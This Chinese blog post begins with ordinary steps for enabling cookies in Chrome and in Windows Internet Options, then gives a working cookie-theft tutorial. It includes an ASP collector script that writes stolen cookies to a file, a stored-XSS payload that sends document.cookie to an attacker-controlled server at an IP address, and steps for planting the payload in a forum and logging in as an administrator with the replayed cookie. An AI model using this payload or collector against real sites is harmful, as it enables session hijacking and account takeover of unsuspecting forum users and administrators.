在浏览器中启用cookie方法如下(以chrome为例):
1、点击Chrome浏览器右上角【工具】符号
3、在d出的网页中点击选择最下方的【显示高级设置】
4、在隐私设置中选择【内容设置】
5、在d出的设置框中点击选择【管理例外情况】
6、在d出的设置框中行为项点击选择【允许】,接着点击【完成】最后同样是关闭浏览器,重新启动浏览器。
为了让该网站给你提供个人化信息,可以允许在计算机上设置一个小文件(称为cookie),具体步骤如下:
一、打开控制面板
二、找到“网络和Internet”,双击打开
三、Internet选项——隐私——安全级别设置为:接受所有Cookies。
四、点开替代自动cookie,接受所有,点击确定。
XSS获取cookie并利用获取cookie利用代码cookie.asp
<html>
<title>xx</title>
<body>
<%testfile = Server.MapPath('code.txt') //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
msg = Request('msg') //获取提交过来的msg变量,也就是cookie值
set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(''&msg&'')//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%>
</body>
</html>
把上述文件保存为cookie.asp文件,放到你自己的网站服务器下。比如这里我们自己搭建的服务器为:http://10.65.20.196:8080。
XSS构造语句
<script>window.open('http://10.65.20.196:8080/cookie.asp?msg='+document.cookie)</script>
把上述语句放到你找到的存在XSS的目标中,不过这里最好是存储型xss,比如你找到了某个博客或者论坛什么的存在存储型XSS,你在里面发一篇帖子或者留上你的评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,就会触发,然后跳转到http://10.65.20.196:8080/cookie.asp?msg='+document.cookie的页面,然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。
简单步骤如下:
1、在存在漏洞的论坛中发日志:
X
2、然后以管理远登陆,进入后页面会跳转,此时cookie就发送到你的服务器下的code.txt文件中了:
3、这是没有账户前的登陆界面:
4、打开firefox的Tamper Data插件,点击Start Tamper开始抓取信息,刷新登陆界面,然后会跳出对话框,点击Tamper按钮,在途中的cookie一栏中替换掉你抓取到的cookie,单击确定发送请求数据:
5、替换cookie后不用输用户名密码就顺利进入管理员账户了:
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)